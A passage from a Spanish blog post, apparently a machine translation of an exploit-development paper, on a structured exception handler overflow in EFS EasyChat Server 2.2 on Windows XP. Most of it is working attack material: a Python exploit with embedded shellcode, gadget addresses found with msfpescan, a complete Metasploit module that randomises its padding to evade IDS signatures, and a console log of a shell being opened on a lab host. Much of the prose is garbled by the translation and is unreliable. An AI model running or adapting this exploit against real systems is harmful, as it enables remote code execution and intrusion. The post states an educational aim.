ser capaces de incrementar nuestro B a 501 y el registro edx incremento de valor debe 0x77F79DAC a
0x77F79DAD. Corramos con 501 B y ver qué pasa
Como era de esperar, el registro edx se incrementan en uno como se ilustra arriba. Esto demuestra que
nuestro pop / pop / ret y salto corto ambos trabajaban. Ahora estamos ejecutando nuestro código shell
en la sección de carga principal (fase 2). Esto significa que puede colocar cualquier código shell que
queremos en esta sección para hacer que nuestro exploit totalmente funcional.
Para una prueba de concepto, voy a utilizar shellcode He encontrado en Internet que pondrá en marcha
la calc.exe calculadora de Windows. Una vez más, el sitio web del proyecto Metasploit puede ser
utilizado para generar el código. Un exploit es completamente funcional se muestra a continuación.
#!c:/Data/Apps/python/python.exe -u
import string, sys
import socket, httplib
#buffer offest for SP1
buffer = 'A'*216
# This is where "Pointer to Next SEH record" is stored
# \xEB\x06 means to jump 6 bytes forward to our exploit code
# This will run after the pop,pop,ret has occurred.
buffer += '\xEB\x06\x90\x90'
# This is where Pointer to exception handler is stored
# Use 0x71AA2461 address for pop,pop,RET in ws2help.dll 5.1.2600.0 SP1
buffer += '\x61\x24\xAA\x71'
# This is the exploit code which will pop up calc.exe
# win32_exec - EXITFUNC=seh CMD=calc Size=160
# Encoder=PexFnstenvSub http://metasploit.com
buffer += (
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xa4"
"\x0d\x2b\xba\x83\xeb\xfc\xe2\xf4\x58\xe5\x6f\xba\xa4\x0d\xa0\xff"
"\x98\x86\x57\xbf\xdc\x0c\xc4\x31\xeb\x15\xa0\xe5\x84\x0c\xc0\xf3"
"\x2f\x39\xa0\xbb\x4a\x3c\xeb\x23\x08\x89\xeb\xce\xa3\xcc\xe1\xb7"
"\xa5\xcf\xc0\x4e\x9f\x59\x0f\xbe\xd1\xe8\xa0\xe5\x80\x0c\xc0\xdc"
"\x2f\x01\x60\x31\xfb\x11\x2a\x51\x2f\x11\xa0\xbb\x4f\x84\x77\x9e"
"\xa0\xce\x1a\x7a\xc0\x86\x6b\x8a\x21\xcd\x53\xb6\x2f\x4d\x27\x31"
"\xd4\x11\x86\x31\xcc\x05\xc0\xb3\x2f\x8d\x9b\xba\xa4\x0d\xa0\xd2"
"\x98\x52\x1a\x4c\xc4\x5b\xa2\x42\x27\xcd\x50\xea\xcc\xfd\xa1\xbe"
"\xfb\x65\xb3\x44\x2e\x03\x7c\x45\x43\x6e\x4a\xd6\xc7\x0d\x2b\xba")
url = '/chat.ghp?username=' + buffer + '&password=' + buffer + '&room=1&sex=2'
print 'Running exploit...\r\n'
print url
conn = httplib.HTTPConnection('192.168.1.205', 80)
conn.request("GET", url)
r1 = conn.getresponse()
print r1.status, r1.reason
conn.close()
Compruebe SafeSEH
En el SP2 de Windows XP una versión modificada de la SEH se llevó a cabo llamada SafeSEH. La
diferencia clave con SafeSEH es que los indicadores para el controlador de excepciones se verifican en
una lista de sistema antes de que se les llama. Esto significa que si el módulo ejecutable que se
encuentra en OllyDbg SafeSEH ha activado, no seremos capaces de usar un pop / pop / ret dirección de
ese módulo. Usando el plugin llamado Olly OllySSEH SafeSEH determinar si está encendido o no. He
creado un host de Windows XP SP2 y Server instalado EasyChat en este servidor para ilustrar esto. A
continuación se muestran los resultados de la OllySSEH plugin para el Service Pack 2.
Esto demuestra que la mayoría de las ventanas de los módulos ejecutables SafeSEH han habilitado.
También módulos Wsock32.dll winrnr.dll, y los módulos rasadhpl.dll sistema no son compatibles con
SEH. Esto significa que no será capaz de utilizar cualquier pop / pop / electrónico ret de estos módulos
tampoco. Parece que sólo los módulos EasyChat EasyChat.exe, ssleay32.dll y SEH libeay32.dll apoyo
y ha SafeSEH apagado. Tendremos que encontrar un pop / pop / ret de uno de los tres módulos.
Para hacer las cosas más difíciles, debemos utilizar una dirección que no contienen un hexágono de 00.
Cuando un hexágono de 00 se pasa en una cadena, esto actuará como un terminador nulo para la
cadena. Por ejemplo, si nuestra cadena de explotación se 414141414100424242. El hexagonal de 42
sería cortado cuando el sistema los procesos de la cadena desde los 00 se interpreta como final de la
cadena. Mirando el diagrama en la página siguiente de la lista de módulos ejecutables de OllyDbg para
SP2, vemos que el módulo EasyChat EasyChat.exe tiene una dirección de entrada de 0x00442993.
Dado que 00 es la dirección, no vamos a poder utilizar este módulo. Del mismo modo, el módulo de
libeay32.dll tiene una entrada de 0x003A8833. Es demasiado, no se podrá utilizar. Esto nos deja con
sólo el módulo ssleay32.dll para encontrar una ventana emergente útil / pop / ret. Podemos ver que si es
SafeSEH apoyo y la contribución, nuestra tarea de encontrar un local utilizable / pop / ret dirección se
vuelve mucho más difícil.
Encontrar un útil POP, POP, RET en WinXP SP2
De la discusión anterior se encontró que en el SP2 al módulo ejecutable sólo utilizable, que puede
contener un pop, pop, ret estaría en ssleay32.dll. La tarea ahora es tratar de ver si realmente tiene una.
Como se trata de un archivo DLL personalizado que se suministra con EasyChat y no un archivo de
sistema de Windows, Metasploit no tendrá esto en su base de datos en línea para buscar. Vamos a tener
que buscar por nuestra cuenta.
Afortunadamente, hay varias herramientas disponibles para realizar un volcado de memoria que pueden
ser utilizados para el análisis. Metasploit la versión 2.7 de Linux posee una utilidad de Windows
llamado memdump.exe que fue creado para esta tarea. La nueva versión (3.2) que utiliza Ruby no
parece incluir esta utilidad en el instalador de Windows. Para hacer uso de esta utilidad, tenemos que
empezar a EasyChat sin Olly se le atribuye. A continuación encontrará el proceso de identificación
(PID) de EasyChat en Windows usando algo como la lista de tareas comando desde el símbolo del
sistema. Una vez que tengamos el PID, que llamamos memdump de la siguiente manera:
memdump pid [directorio de descarga]
El directorio de descarga es opcional, pero se recomienda especificar un puesto que la utilidad va a
crear varios archivos relacionados con el volcado de memoria y un archivo de índice para catalogar a
todos. Por lo tanto, es una buena idea crear un directorio de volcado específicamente para los archivos
de salida para entrar. Una vez memdump es completa, entonces necesitará ejecutar otra utilidad
suministrada por msfpescan Metasploit llamada que se puede utilizar para encontrar pop / pop / ret
secuencias entre otras cosas de un volcado de memoria. La utilidad msfpescan está diseñado para
ejecutarse en una plataforma Linux. Por lo tanto, que sea tendrá que mover nuestros archivos de
volcado a otro sistema en el que esto puede ser corriendo o instalar algo así como Cygwin, que
proporciona un entorno de Linux como para Windows. La sintaxis para msfpescan es un poco diferente
dependiendo de la versión de Metasploit que está utilizando.
Para el marco 2, la siguiente sintaxis debe ser utilizado. El "-d" bandera medios para buscar en un
directorio y el
capturados de memdump. La bandera "-s" cuenta la utilidad para la búsqueda de pop / pop / secuencias
ret.
msfpescan
Para el marco de 3, la siguiente sintaxis debe ser utilizado. La "M" significa la bandera para buscar un
directorio y el
capturados de memdump. La bandera "-p" cuenta la utilidad para la búsqueda de pop / pop / secuencias
ret.
msfpescan-p-M
Una vez que ha competido msfpescan la búsqueda, devolverá una lista de pop / pop / electrónico ret
encontrado. Dado que este cubre las direcciones de todos los módulos ejecutables cargados, tendremos
que buscar a través de la salida para encontrar uno que existe en el rango que el módulo se carga
ssleay32.dll pulg En cuanto a unas pocas líneas de la salida, podemos ver que los resultados se verá
algo como:
ebx 0x71a66e1d pop; ret; pop esi
0x71a672d9 edición del pop; ret; pop esi
0x71a676e2 esi pop, pop ebp; RETN 0x0004
0x71a67a7b pop ebx, ebp pop; RETN 0x0008
En la lista de módulos ejecutables en la página anterior, sabemos que el ssleay32.dll tiene una dirección
de entrada de 0x1001B90A. Debemos ser capaces de realizar una operación de búsqueda con la utilidad
grep para encontrar algunas direcciones viable basada en esto. También puede dirigir la salida de
msfpescan a un archivo para que grep se puede utilizar fácilmente. De forma predeterminada, grep es
sensible a mayúsculas. Por lo tanto, que sea tendrá que cambiar la búsqueda para que coincida con el
caso que desee o utilizar el indicador de mayúsculas y minúsculas "-i" con grep. Esto puede parecer
algo así como:
msfpescan-M p-memfiles ppr.txt>
grep-i "0x1001B" ppr.txt
Esto devuelve el siguiente resultado:
0x1001b1db pop ebx, ecx pop; ret
ebp 0x1001b1fc pop, pop ebx; ret
0x1001b272 ebp pop, pop ebx; ret
0x1001b295 edición del pop; ret; pop esi
0x1001b2b6 edición del pop; ret; pop esi
0x1001b2e1 edición del pop; ret; pop esi
0x1001b9a2 pop ebx, ebp pop; 0x000c RETN
En teoría, la mayor parte de alguno de estos debe trabajar para nosotros. Vamos a optar por utilizar el
primero de la lista de 0x1001b1db dirección como el pop / pop / dirección ret en ssleay32.dll. Ahora
debería ser capaz de usar, simplemente esta dirección en el guión anterior para atacar EasyChat en un
host WinXP SP2 Inglés. Como resultado, también tenemos que ajustar el relleno inicial de 216 A a 218
A para alinear correctamente el pop / pop / ret dirección a donde el controlador de excepciones que
residen. Con esas dos modificaciones, nuestro exploit debería estar listo.
La explotación de otras versiones de Windows
En este punto, debería estar bastante claro que mediante la instalación de servidor EasyChat en
diferentes plataformas de Windows y versiones de servicio que podemos personalizar un exploit para
cada uno. En el Inglés WinXP Service Pack 1 de explotar elegimos un pop / pop / ret del módulo
ws2help.dll sistema de Windows. Sin embargo, esto no era una opción debido a SafeSEH en SP2. Por
lo tanto, que en cambio a un pop / pop / addess ret del módulo EasyChat ssleay32.dll. En realidad, sería
mejor utilizar la dirección de ssleay32.dll para SP1 y SP2. Esto se debe a que el archivo DLL está
escrito por la fabricación de EasyChat y no va a cambiar entre los diferentes sabores de Windows.
Además, Windows generalmente cargar este módulo con la dirección de la misma base que significa
que nuestra dirección se mantendrá constante a través de diferentes versiones de servicio de Windows.
Esto se conoce generalmente como universal pop / pop / ret, ya que es algo independiente del sistema
operativo.
Si se ejecuta a través del mismo ejercicio en Windows XP Service Pack 3 de Inglés, usted debe
encontrar que la almohadilla mismo tampón de 216 A se utilizan igual que en el SP1. Además, debería
ver que el uso del pop universal / pop / ret dirección de 0x1001b1db de ssleay32.dll proporcionará un
exploit funcional en Inglés de Windows XP SP1, SP2 y SP3. Esto significa que el único ajuste
necesario es el relleno de búfer para la alineación inicial.
La construcción de un módulo de Metasploit Exploit
A pesar de que podría mantener una secuencia de comandos para cada sabor de Windows para que
nuestro exploit, que en realidad tiene más sentido crear un módulo para la explotación de una
herramienta que ya está diseñado para proporcionar una funcionalidad flexible como este. Ya hemos
hablado de cómo el proyecto Metasploit shellcode y proporciona una base de datos Opcode, sino que
también proporciona un marco de trabajo gratuito para el desarrollo y la ejecución de código de
explotación en contra de un equipo de destino remoto como un medio para estudiar las vulnerabilidades
de seguridad, facilitar las pruebas de penetración de aplicaciones, y ayuda en IDS (Intrusion Detection
System) el desarrollo de la firma.
El aspecto maravilloso de utilizar algo así como Metasploit es que podemos concentrarnos
exclusivamente en el diseño de explotar y no preocuparse por la propia carga. En nuestra secuencia de
comandos, se utilizó una carga para abrir el calc.exe de Windows para demostrar que nuestro exploit
funcionaba. Mediante el uso de Metasploit podemos tomar ventaja de las cargas útiles ya construidos
para realizar tareas más avanzadas. Por ejemplo, podríamos utilizar las ventanas / shell / carga útil
reverse_tcp para abrir un símbolo del sistema en el host de destino desde el host atacante. Fácilmente
podríamos cambiar esta opción para utilizar las ventanas / vncinject / bind_tcp carga útil que nos
proporcionará una interfaz gráfica de usuario en el host de destino en el host atacante. Usted puede ver
cómo va la prueba de concepto de código de explotación con calc.exe de Windows puede ser
transformado en un completo y funcional de gran alcance explotar.
Debido a algunas limitaciones en la versión para Windows de Metasploit, he optado por aplicar el
exploit módulo con Marco 3.2 en Ubuntu Desktop 8.04 LTS. Hay una buena cantidad de preinstalación
que necesita ocurrir en Ubuntu antes de Metasploit funcionará correctamente. He utilizado
los dos enlaces de abajo para ayudar en la configuración inicial:
http://trac.metasploit.com/wiki/Metasploit3/InstallUbuntu
https: / / help.ubuntu.com / community / RubyOnRails
El equipo de Metasploit hizo un gran trabajo de documentación de cómo usar el marco de la ya
existente explota y carga útil en la guía de usuario. Hay también una guía de desarrollo que en un nivel
alto se explica cómo escribir un módulo personalizado explotar entre otras cosas. Desafortunadamente,
no hay una gran cantidad de información detallada en la guía de desarrollo que cubre los componentes
específicos de la explotación de módulo, como todas las opciones para los distintos ámbitos y lo que
los campos son utilizados para. En el momento de escribir estas líneas, el equipo de Metasploit es que
supuestamente trabajan para crear un libro que se espera incluirá esta información detallada. Debemos
apreciar todo el trabajo duro del equipo ha puesto en ofrecer esta herramienta gratuita y la
documentación que tenemos hasta el momento. Sin embargo, hasta que la información detallada es
formalmente documentado, tendremos que confiar en vulnerabilidades existentes y la poca información
que esté disponible al público a escribir nuestra costumbre explotar módulo.
Ya que sabemos que esta hazaña establece una conexión HTTP y opera en un host de Windows,
podemos empezar mirando a otros módulos de explotación ubicada en el directorio siguiente:
framework-3.2/modules/exploits/windows/http
Hay varias hazañas que trabajan en ese directorio que podemos utilizar como modelos para construir
nuestro exploit módulo. Vamos a crear un nuevo archivo en este directorio y lo llaman efs_easychat.rb.
Este será el nuevo Ruby explotar módulo que vamos a utilizar. A continuación se muestra la
finalización de los módulos que vamos a escribir. Vamos a hablar de cada sección del módulo con
algún detalle, pero no vamos a entrar en detalles acerca de la sintaxis de Ruby en este papel, ya que es
fácilmente accesible en todos los libros y en línea. Dado que la documentación detallada Metasploit no
está disponible, la información proporcionada aquí es principalmente especulativo y no debe ser
tomado como un hecho completo.
#
# $Id$
##
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'EFS EasyChat Server Authentication SEH Buffer
Overflow',
'Description' => %q{
This module exploits a stack overflow in EFS EasyChat Server 2.2.
By sending a overly long authentication request, an attacker may
execute arbitrary code.
},
'Author' => [ 'Donny Hubener' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 1 $',
'References' =>
[
[ 'BID', '33976'],
[ 'CVE', '2004-2466'],
],
'DefaultOptions' =>
{'
EXITFUNC' => 'process',
},
'Privileged' => true,
'Payload' =>
{
'Space' => 800,
'BadChars' =>
"\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5
c",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
['EasyChat Server 2.2 on WinXPSP1
English',
{
'Ret' => 0x1001b1db # universal
pop/pop/ret
}
],
['EasyChat Server 2.2 on WinXPSP2
English',
{
'Ret' => 0x1001b1db # universal
pop/pop/ret
}
],
['EasyChat Server 2.2 on WinXPSP3
English',
{
'Ret' => 0x1001b1db # universal
pop/pop/ret
}
],
],
'DisclosureDate' => 'Aug 14 2007',
'DefaultTarget' => 0))
register_options([Opt::RPORT(80)], self.class)
end
def check
res = send_request_raw
if res and res['Server'] =~ /Easy Chat Server\/1.0/
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
def exploit
# check target to adjust initial buffer padding
if target.name == 'EasyChat Server 2.2 on WinXPSP1 English'
bufpad = 216
elsif target.name == 'EasyChat Server 2.2 on WinXPSP2 English'
bufpad = 218
elsif target.name == 'EasyChat Server 2.2 on WinXPSP3 English'
bufpad = 216
else
bufpad = 216
end
# create initial buffer pad with random alpha text
initbuf = rand_text_alpha(bufpad)
# create SEH payload
seh = generate_seh_payload(target.ret)
# create buffer to be useded as username field
bigbuf = initbuf + seh
# create password with random alpha text
randpass = rand_text_alpha(rand(20)+1)
# create complete uri string to send
uri = "/chat.ghp?
username=#{bigbuf}&password=#{randpass}&room=1&sex=2"
print_status("Trying target #{target.name}...")
send_request_raw({'uri' => uri}, 5)
handler
disconnect
end
end
Las primeras líneas de código decirle al marco que vamos a utilizar un exploit remoto con la SEH y
métodos HttpClient de apoyo. La mayoría de los campos en la sección de inicialización son bastante
explica por sí mismo, tales como Nombre, Descripción, Autor, etc Sin embargo, en virtud de la carga
útil, podemos establecer el tamaño máximo de la carga útil con el campo de la tecnología espacial. En
nuestro caso hemos creado esta a 800 bytes, pero esto se puede ajustar a un valor diferente. Además,
hay un campo BadChars que enumera varios caracteres hexadecimales que no deben incluirse en el
buffer para evitar problemas. Observe el primer carácter es 00 y que hemos aprendido es necesario
antes de ser eliminados debido a que representa un terminador nulo de una cadena. Muchos de los
caracteres hexadecimales enumerados tienen un significado especial y por eso ellos también deben ser
evitados.
Hemos hecho tres objetivos, incluida la versión en Inglés de Windows SP1, SP2 y SP3. El campo de
Ret de cada uno de estos se le asigna el pop universal / pop / ret dirección que encontramos en el
módulo EasyChat. Si no tiene una dirección universal, podríamos especificar una dirección diferente
para cada objeto de asumir la dirección es funcional en esa versión de Windows.
La sección principal siguiente es una sección de verificación. Este es el código que tratará de ver si el
objetivo es realmente vulnerables. En nuestro caso, realizamos una petición HTTP primas e
inspeccionar la respuesta. EasyChat fue lo suficientemente bueno para llenar el campo de servidor en la
respuesta con "Easy Server/1.0 Chat", que podemos utilizar para indicar al menos que EasyChat está
presente. Ya que sabemos que tenemos la versión 2.2 instalada, esto no puede ser un buen mecanismo
para decirnos con certeza que nuestro exploit funcione correctamente, pero al menos indican que una
versión de EasyChat se ejecuta y puede ser vulnerable.
La última sección principal llamada explotar se utiliza para ejecutar realmente el ataque. Ya que
sabemos que tenemos que ajustar el relleno inicial dependiendo de la versión Service Pack de
Windows, escribimos un simple si / secuencia más para comprobar que el nombre del objetivo ha sido
seleccionado y los ajustes correspondientes. Luego creamos el buffer inicial con texto alfa al azar que
hace que sea mucho más difícil para un IDS / IPS dispositivo para construir una firma que podría ser
utilizado para detectar nuestro exploit intento. A continuación creamos la carga útil SEH utilizando la
función generate_seh_payload Metasploit. Esta es una práctica función que es lo suficientemente
inteligente como para entender cómo SEH trabajo explota y es capaz de crear el buffer para incluir el
código de operación salto corto, el pop / pop / dirección ret, y stage2 shellcode carga útil. Todo lo que
queda es combinar el buffer inicial del texto de la alfa al azar con el resultado de esta función y
tenemos el buffer completo que se utiliza para el nombre de usuario.
Antes de enviar realmente el uri explotar, lo que hacemos también crear una contraseña aleatoria de
caracteres alfabéticos, hasta un máximo de 20 caracteres. Una vez más, este es un intento de hacer más
difícil la construcción de un IDS / IPS de la firma. Una vez completado esto, ahora enviar la solicitud
de prima y la salida con gracia.
La ejecución del módulo de Metasploit Exploit
En dicho anteriormente, hay una buena documentación disponible sobre cómo ejecutar el exploit
usando Metasploit a cabo menos hay sitio. El resultado siguiente se muestra un ejemplo de la hazaña
que acaba de crear en uso.
probador @-desktop: ~ / metasploit/framework-3.2 $ / msfconsole.
=[ msf v3.2-release
+ -- --=[ 320 exploits - 217 payloads
+ -- --=[ 20 encoders - 6 nops
=[ 99 aux
msf > use windows/http/efs_easychat
msf exploit(efs_easychat) > set RHOST 10.10.10.193
RHOST => 10.10.10.193
msf exploit(efs_easychat) > show targets
Exploit targets:
Id Name
-- ----
0 EasyChat Server 2.2 on WinXPSP1 English
1 EasyChat Server 2.2 on WinXPSP2 English
2 EasyChat Server 2.2 on WinXPSP3 English
msf exploit(efs_easychat) > set TARGET 1
TARGET => 1
msf exploit(efs_easychat) > set PAYLOAD windows/shell/bind_tcp
PAYLOAD => windows/shell/bind_tcp
msf exploit(efs_easychat) > set LHOST 10.10.10.206
LHOST => 10.10.10.206
msf exploit(efs_easychat) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RHOST 10.10.10.193 yes The target address
RPORT 80 yes The target port
SSL false no Use SSL
VHOST no HTTP server virtual host
Payload options (windows/shell/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process
LPORT 4444 yes The local port
RHOST 10.10.10.193 no The target address
Exploit target:
Id Name
-- ----
1 EasyChat Server 2.2 on WinXPSP2 English
msf exploit(efs_easychat) > check
[*] The target appears to be vulnerable.
msf exploit(efs_easychat) > exploit
[*] Trying target EasyChat Server 2.2 on WinXPSP2 English...
[*] Started bind handler
[*] Sending stage (474 bytes)
[*] Command shell session 1 opened (10.10.10.206:45076 -> 10.10.10.193:4444)
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Tester\Desktop>cd \data
cd \data
C:\Data>dir
dir
Volume in drive C has no label.
Volume Serial Number is 70C8-E884
Directory of C:\Data
07/01/2009 10:31 AM
07/01/2009 10:31 AM
06/25/2009 12:48 PM
07/01/2009 10:31 AM 33 target_sp2.txt
06/09/2009 07:48 PM
1 File(s) 33 bytes
4 Dir(s) 3,782,705,152 bytes free
C:\Data>
Podemos ver que el exploit trabajado con éxito.
Conculsion
El objetivo de este trabajo es proporcionar una comprensión de cómo el controlador estructurado de
excepciones de Windows se comporta y cómo se puede explotar. La combinación de la teoría con una
caminata a través de un mundo real explotar ayuda a consolidar los conceptos. Uso de Metasploit como
explotar la herramienta de diseño trata de ilustrar la rapidez con una prueba de concepto exploit puede
ser transformado en un mecanismo poderoso ataque.
Saludos Mundo Libre.
No hay comentarios:
Publicar un comentario